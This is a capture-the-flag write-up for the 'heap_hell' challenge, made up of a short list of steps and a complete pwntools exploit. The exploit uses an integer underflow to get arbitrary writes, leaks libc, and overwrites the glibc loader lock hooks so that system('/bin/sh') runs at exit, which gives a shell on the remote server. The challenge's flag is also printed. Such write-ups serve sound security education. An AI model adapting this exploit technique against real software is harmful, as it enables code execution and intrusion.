Rating:

* There's an integer underflow when checking the write address, allowing arbitrary writes if you mmap at `0x10000` and have a size >= `0x20001`.
* leak libc via unsorted bin
* overwrite `GL(dl_rtld_lock_recursive)` with system
* overwrite `dl_load_lock` with "/bin/sh"
* dl-fini will call `__rtld_lock_lock_recursive (GL(dl_load_lock));`
* calculate remote ld_offet looping with +/- 0x1000

--vakzz

Exploit:

```python
#!/usr/bin/env python2
# pylint: skip-file

from pwn import *

def location(loc):
p.sendlineafter(" (default 0x123456789000)?", str(loc))

def write(offset, data, size=None):
p.sendlineafter("[4] : exit", "1")
if size:
p.sendlineafter(" write?", str(size))
else:
p.sendlineafter(" write?", str(len(data)))
p.sendlineafter(" offset?", str(offset))
p.send(data)

def free(offset):
p.sendlineafter("[4] : exit", "2")
p.sendlineafter(" free?", str(offset))

def leak(offset):
p.sendlineafter("[4] : exit", "3")
p.sendlineafter(" leak?\n", str(offset))
return u64(p.recvuntil("\nPlease", drop=True).ljust(8, "\x00"))

def exploit():
"""
if we mmap at 0x10000 then we write to anywhere so long as size >= 0x20001
"""
location(0x10000)

size = 0x500
for i in range(3):
write(size*i, p64(size) + p64(size | 1))

free(0x10)
libc_leak = leak(0x11) << 8

libc.address = libc_leak - (libc.symbols["__malloc_hook"] + 112)
ld.address = libc.address + ld_offset
log.info("libc: 0x{:x}".format(libc.address))

"""
overwrite GL(dl_rtld_lock_recursive) with system
overwrite dl_load_lock with "/bin/sh"
dl-fini will call __rtld_lock_lock_recursive (GL(dl_load_lock));
"""

target = libc.address + ld_offset - 0x10000

payload = "/bin/sh\x00"
payload = payload.ljust(0x600, "\x41")
payload += p64(libc.symbols["system"])
write(target + 0x908, payload + "\x00" * 0x2000, 0x20001)

p.interactive()

# flag{c0ngr4tz_I_h0pe_you_did_n0t_find_this_in_h0w_2_h34p}

if __name__ == "__main__":
name = "./heap_hell"
binary = ELF(name, checksec=False)

libc_name = "./libc.so.6"
libc = ELF(libc_name, checksec=False)

ld_name = "./ld-2.28.so"
ld = ELF(ld_name, checksec=False)

context.terminal=["tmux", "sp", "-h"]
context.arch = "amd64"

if len(sys.argv) > 1:
ld_offset = 0x1f7000
p = remote("arcade.fluxfingers.net", 1810)
else:
ld_offset = 0x1f5000
p = process([ld_name, name], env={'LD_LIBRARY_PATH': "."})

gdb.attach(p, """
c
""")

exploit()
```